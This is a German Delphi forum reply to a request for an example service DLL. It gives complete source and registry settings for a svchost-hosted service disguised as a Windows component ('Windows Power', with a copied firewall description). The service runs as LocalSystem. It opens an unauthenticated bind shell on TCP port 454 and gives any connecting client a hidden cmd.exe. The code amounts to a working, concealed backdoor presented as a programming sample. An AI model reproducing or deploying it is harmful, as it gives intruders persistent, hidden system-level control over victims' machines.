Registriert seit: 2. Dez 2009
Ort: München
320 Beiträge
Lazarus
|
AW: Suche Beispiel für eine Service-DLL
21. Jul 2011, 23:02
Delphi-Quellcode:
library svchost;
(********************************* Regsettings *********************************
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc]
"DisplayName"="Windows Power"
"Type"=dword:00000020
"Start"=dword:00000002
"ErrorControl"=dword:00000000
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\
00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\
6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00
"ObjectName"="LocalSystem"
"Description"="Bietet Unterstützung für Protokoll-Plug-Ins von Drittanbietern
für die gemeinsame Nutzung der Internetverbindung und den Windows-Firewall."
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Parameters]
"ServiceDll"=hex(2):44,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,\
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,67,00,79,00,\
65,00,6b,00,65,00,74,00,79,00,73,00,2e,00,64,00,6c,00,6c,00,00,00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tapisvc\Enum]
"0"="Root\\LEGACY_TAPISVC\\0000"
"Count"=dword:00000001
"NextInstance"=dword:00000001
+Zur Gruppe hinzufügen:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
*******************************************************************************)
uses
Windows,
WinSvc,
Winsock2,
Winsock;
const
Port = 454;
type
PArgArray = ^PChar;
var
ServiceStatus: SERVICE_STATUS;
hServiceStatusHandle : SERVICE_STATUS_HANDLE;
Terminated: boolean = false;
szCmdLine: Array [0..MAX_PATH] of Char;
function ShellThread(Parameter: Pointer): Integer;
var
hSocket: PInteger;
si: TStartupInfo;
pi: TProcessInformation;
begin
hSocket := Parameter;
ZeroMemory(@si, SizeOf(TStartupInfo));
si.cb := SizeOf(TStartupInfo);
si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
si.wShowWindow := SW_HIDE;
si.hStdInput := hSocket^;
si.hStdOutput := hSocket^;
si.hStdError := hSocket^;
CreateProcess(nil, szCmdLine, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil, nil, si, pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
Shutdown(hSocket^, SD_BOTH);
CloseSocket(hSocket^);
Dispose(hSocket);
Result := 0;
end;
function MainThread(Parameter: Pointer): Integer;
var
WSAData: TWSAData;
FDSet: TFDSet;
SockAddrIn: TSockAddrIn;
ServerSocket: TSocket;
Connected: PInteger;
ThreadID: Cardinal;
begin
result := 0;
if WSAStartUp($0020, WSAData) <> S_OK then EXIT;
ServerSocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
if (ServerSocket = INVALID_SOCKET) then EXIT;
FillChar(SockAddrIn, SizeOf(TSockAddr), #0);
with SockAddrIn do begin
sin_Family := AF_INET;
sin_Port := htons(Port);
sin_Addr := TInAddr(htonl(INADDR_ANY));
end;
if Bind(ServerSocket, SockAddrIn, SizeOf(SockAddrIn)) = SOCKET_ERROR then EXIT;
if Listen(ServerSocket, SOMAXCONN) = SOCKET_ERROR then EXIT;
GetEnvironmentVariable('Comspec', szCmdLine, MAX_PATH);
while not Terminated do begin
FD_Zero(FDSet);
FD_Set(ServerSocket, FDSet);
if Select(0, @FDSet, nil, nil, nil) = SOCKET_ERROR then Break;
if Terminated then Break;
if FD_IsSet(ServerSocket, FDSet) then begin
New(Connected);
Connected^ := Accept(ServerSocket, nil, nil);
if Connected^ <> SOCKET_ERROR then
BeginThread(nil, 0, ShellThread, Connected, 0, ThreadID)
else
Break;
end;
sleep(15);
end;
WSACleanup;
end;
//-- Service Code
function SvcCtrlHandler(dwControl: DWORD; dwEventType: DWORD;
lpEventData: PChar; lpContext: PChar): DWORD; stdcall;
begin
result := NO_ERROR;
case dwControl of
SERVICE_CONTROL_STOP, SERVICE_CONTROL_SHUTDOWN:
begin
ServiceStatus.dwWin32ExitCode := 0;
ServiceStatus.dwCurrentState := SERVICE_STOPPED;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
end;
SERVICE_CONTROL_PAUSE:
begin
ServiceStatus.dwCurrentState := SERVICE_PAUSED;
end;
SERVICE_CONTROL_CONTINUE:
begin
ServiceStatus.dwCurrentState := SERVICE_RUNNING;
end;
end;
SetServiceStatus(hServiceStatusHandle, ServiceStatus);
end;
procedure ServiceMain(dwArgc: DWORD; lpszArgv: PArgArray); stdcall;
var
pServiceName: PChar;
begin
pServiceName := PChar('Tapisvc');
ServiceStatus.dwServiceType := SERVICE_WIN32_SHARE_PROCESS;
ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP or
SERVICE_ACCEPT_SHUTDOWN or SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwWin32ExitCode := 0;
ServiceStatus.dwServiceSpecificExitCode := 0;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
hServiceStatusHandle := RegisterServiceCtrlHandlerA(pServiceName,
@SvcCtrlHandler);
if (hServiceStatusHandle <> 0) then begin
ServiceStatus.dwCurrentState := SERVICE_RUNNING;
ServiceStatus.dwCheckPoint := 0;
ServiceStatus.dwWaitHint := 0;
SetServiceStatus(hServiceStatusHandle, ServiceStatus);
end;
end;
procedure DLLEntryPoint(dwReason: DWORD);
var
dwThreadID: DWORD;
begin
case dwReason of
DLL_PROCESS_ATTACH : CloseHandle(BeginThread(nil, 0, MainThread, nil, 0, dwThreadID));
DLL_PROCESS_DETACH : Terminated := true;
end;
end;
{$R *.RES}
exports
ServiceMain;
begin
DisableThreadLibraryCalls(hInstance);
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
Lanthan Astat 06810110811210410503210511511603209711003210010110 9032084097103
03211611111604403209711003210010110903210010510103 2108101116122
11610103209010110510810103206711110010103210511003 2068101108112
10410503210310111509910411410510109810111003211910 5114100046
|